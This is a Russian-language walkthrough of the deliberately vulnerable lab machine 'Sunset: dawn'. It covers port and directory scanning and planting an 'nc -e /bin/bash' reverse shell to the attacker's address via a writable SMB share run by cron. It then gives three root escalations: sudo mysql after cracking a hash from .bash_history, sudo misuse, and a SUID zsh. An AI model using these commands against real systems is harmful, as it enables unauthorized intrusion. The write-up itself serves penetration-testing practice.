Следующей машиной в нашей серии прохождений будет Sunset: dawn.


Автор: whitecr0wz

Так же как и в первом прохождении нам нужно определить IP-адрес нашей цели. Для этого используем команду

netdiscover

В моем случае IP-адресом будет 192.168.1.165.

Сканирование


Начнем наше сканирование с определения открытых портов

nmap -p- 192.168.1.165



Видим, что у нас открыты 80, 139, 445 и 3306 порты, вот их мы и будем сканировать

nmap -p80,139,445,3306 -sC -sV -oN dawn 192.168.1.165



Поиск точки входа


80 порт используется сайтом, пожалуй, начнем с него.



Видим, что на сайте ничего интересного нет. Стоит проверить какие у сайта есть директории, для этого мы будем использовать gobuster

gobuster dir -u http://192.168.1.165/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-directories.txt -o dir.out

Где dir — режим для перебора каталогов, -w — выбранный нами словарь, а -o файл в который будут записываться результаты.



Из результатов сканирования самое интересное место для нас logs, так что заглянем сначала туда.



Мы видим 4 файла, попробуем скачать их все.



Но тут нам не очень везет, у нес нет доступа как к auth.log, так и к daemon.log и error.log.
Зато мы можем скачать management.log (если файл пустой или мало весит, стоит либо подождать какое-то время, либо перезапустить виртуалку).



В логах мы видим, что на машине запускаются кронтаб задачи, которые помогут нам в будущем

/bin/sh -c /home/dawn/ITDEPT/product-control
/bin/sh -c /home/dawn/ITDEPT/web-control

Теперь давайте посмотрим, что интересного мы можем найти с помощью SMB.

Пользователь 1


Сначала проверим что у нас на 445, запускаем

smbmap -H 192.168.1.165



Нам доступна на чтение/запись папка ITDEPT, вот к ней и мы подключимся

smbclient //192.168.1.165/ITDEPT



Пароль вводить не нужно, вместо него просто жмем enter. Как мы можем заметить из лога, что нам был доступен, именно из этой папки запускались файлы web-control и product-control. Данные файлы запускаются с опцией -c, которая определяет чтение команд из строки, следовательно, мы можем записать в файл команду на reverse shell

echo "nc -e /bin/bash 192.168.1.68 9001" > web-control



Загружаем полученный файл через smb командой put.



На своей машине прописываем

nc -lnvp 9001



Ждем пока выполнится кронтабовская задача… и у нас есть шелл, пользователя www-data. Для удобства работы с шеллом сделаем его интерактивным с помощью питона

python3 -c 'import pty;pty.spawn("/bin/bash")'

Пользователь 2


Вот мы получили доступ первого юзера, но если внимательно посмотреть по логам, то мы можем заметить, что кронтаб выполняет задачу также от пользователя с ID=1000 (UID=1000). Делаем те же действия, что и для первого пользователя, но во избежание путаницы лучше использовать другой порт, например, 9002. Вообще можно использовать любой порт, который не занят стандартными сервисами.



И вот мы получили шелл как пользователь dawn

Повышение привилегий


Способ 1


На этот раз не будем прибегать к помощи скриптов. В данных примерах повышение привилегий достаточно простое, так что мы найдем все ручками.

Для начала проверим, есть ли возможность у пользователя dawn запускать какие-нибудь файлы от имени root

sudo -l



Как мы видим, на дозволено использовать mysql с правами суперпользователя, но если мы попробуем ввести команду для получения шелла, которую мы подсмотрели на GTFObins

sudo mysql -e '\! /bin/sh'

То у нас ничего не получится, так как требуется авторизация, значит нужно найти пароль. Начнем с файла .bash-history, в котором записываются последние команды пользователя, введенные в строке консоли.

cat .bash_history



О, а вот мы нашли какой-то хеш, и видим, что пользователь использовал mysql под учеткой root'а. Думаю, стоит крякнуть найденный хеш.



Джон нас не подводит, и мы получаем пароль onii-chan29, стоит попробовать его при аутентификации в mysql

mysql -u root -p



Вот мы авторизовались в mysql как суперпользователь. Если ввести команду \?, то из всех представленных команд мы также можем запускать системные команды \!. Так давайте попробуем запустить шелл

\! /bin/bash



Вот мы и стали суперпользователем.

Способ 2


Не стоит забывать, что у нас есть еще один пользователь www-data, давайте посмотрим, что мы можем сделать с ним. Начнем также с проверки sudo -l.



Здесь мы видим, что нам доступно выполнение команды sudo с правами суперпользователя. Тогда давайте попробуем запустить шелл от имени root'а

sudo -u root -i '/bin/bash'

У нас требуют пароль пользователя www-data, потому что мы запускаем sudo от имени текущего пользователя, чтобы проэксплуатировать данный вектор, нам нужно добавить в начало еще раз команду sudo, чтобы запустить sudo от имени суперпользователя без необходимости вводить пароль (как мы видели на скриншоте ранее), добавить опцию -i, чтобы прописать команду, которую мы хотим выполнить и -u root (пользователя можно и не указывать, так как команда и так запускается от имени root).



И… вуаля, теперь мы root.

Способ 3


Для этого способа можем использовать любого пользователя. Сейчас мы проверим какие исполняемые файлы нам вообще доступны в системе

find / -perm -u=s -type f 2>/dev/null



Используем команду find, с опциями / — поиск по всем каталогам, -perm — с опцией -u=s, для поиска файлов с установленным SUID-битом, -type f — тип файла (f — обычный файл) и 2>/dev/null — данная опция скрывает ошибки в выводе команды (использовать ее можно с любой командой или даже исполняемым файлом). Можно, конечно, проверять каждый, но в данном случае нас интересует конкретно zsh, это просто командная оболочка, запустив которую мы получаем права root.
Эта машина, так же как и первая, не требует сверхсложных манипуляций. Как говорится boot to root.

Прохождения:

Sunset: 1